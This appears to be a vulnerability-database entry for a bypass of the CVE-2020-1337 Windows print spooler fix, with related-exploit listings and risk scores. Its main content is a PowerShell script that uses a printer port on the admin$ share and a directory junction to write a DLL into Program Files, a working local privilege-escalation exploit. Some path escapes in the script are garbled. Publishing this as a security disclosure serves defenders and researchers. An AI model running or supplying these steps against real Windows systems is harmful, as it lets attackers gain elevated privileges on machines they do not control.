Microsoft Windows Local Spooler Bypass Vulnerability

🗓️ 12 Nov 2020 00:00:00Reported by James ForshawType

zdt🔗 0day.today👁 57 Views

Windows Local Spooler Bypass Vulnerability on Windows 10 200

Reporter	Title	Published	Views	Family All 107
GithubExploit	Exploit for Time-of-check Time-of-use (TOCTOU) Race Condition in Microsoft	12 Aug 202010:05	–	githubexploit
GithubExploit	Exploit for Time-of-check Time-of-use (TOCTOU) Race Condition in Microsoft	11 Aug 202012:22	–	githubexploit
GithubExploit	Exploit for Time-of-check Time-of-use (TOCTOU) Race Condition in Microsoft	21 Jul 202008:01	–	githubexploit
GithubExploit	Exploit for Time-of-check Time-of-use (TOCTOU) Race Condition in Microsoft	11 Aug 202014:34	–	githubexploit
0day.today	Microsoft Spooler Local Privilege Elevation Exploit	18 Jan 202100:00	–	zdt
ATTACKERKB	CVE-2020-1048: Windows Print Spooler Elevation of Privilege Vulnerability	21 May 202000:00	–	attackerkb
ATTACKERKB	CVE-2020-1337	17 Aug 202000:00	–	attackerkb
Information Security Automation	Vulristics Vulnerability Score, Automated Data Collection and Microsoft Patch Tuesdays Q4 2020	11 Jan 202101:50	–	avleonov
Information Security Automation	Microsoft Patch Tuesday August 2020: vulnerabilities with Detected Exploitation, useful for phishing and others	30 Aug 202022:13	–	avleonov
BDU FSTEC	The vulnerability of the Windows operating system’s print queue dispatcher service allows a hacker to escalate their privileges.	26 Aug 202000:00	–	bdu_fstec

Windows: Local Spooler CVE-2020-1337 Bypass

One way of exploiting this on Windows 10 2004 is to understand that FileNormalizedNameInformation will fail if the new path after the mount point is not under the root directory of the server. For example the admin$ share points to c:\\windows. If you set the mount point to write to c:\\Program Files then the normalization process will fail and the original string returned. This allows you to write to anywhere outside the windows directory by placing a mount point somewhere like system32\  asks. For example the following script will write the DLL to the root of Program Files.

mkdir \"C:\\windows\\system32\  asks\  est\"
Add-PrinterDriver -Name \"Generic / Text Only\" 
Add-PrinterPort -Name \"\\\\localhost\\admin$\\system32\  asks\  est\  est.dll\" 
Add-Printer -Name \"PrinterExploit\" -DriverName \"Generic / Text Only\" -PortName \"\\\\localhost\\admin$\\system32\  asks\  est\  est.dll\"
rmdir \"C:\\windows\\system32\  asks\  est\"
New-Item -ItemType Junction -Path \"C:\\windows\\system32\  asks\  est\" -Value \"C:\\Program Files\"
\"TESTTEST\" | Out-Printer -Name \"PrinterExploit\"


Related CVE Numbers: CVE-2020-1337,CVE-2020-17001,CVE-2020-1337.



Found by: [email protected]

12 Nov 2020 00:00Current

8.9High risk

Vulners AI Score8.9

CVSS 3.17.8

CVSS 27.2

EPSS0.55313

SSVC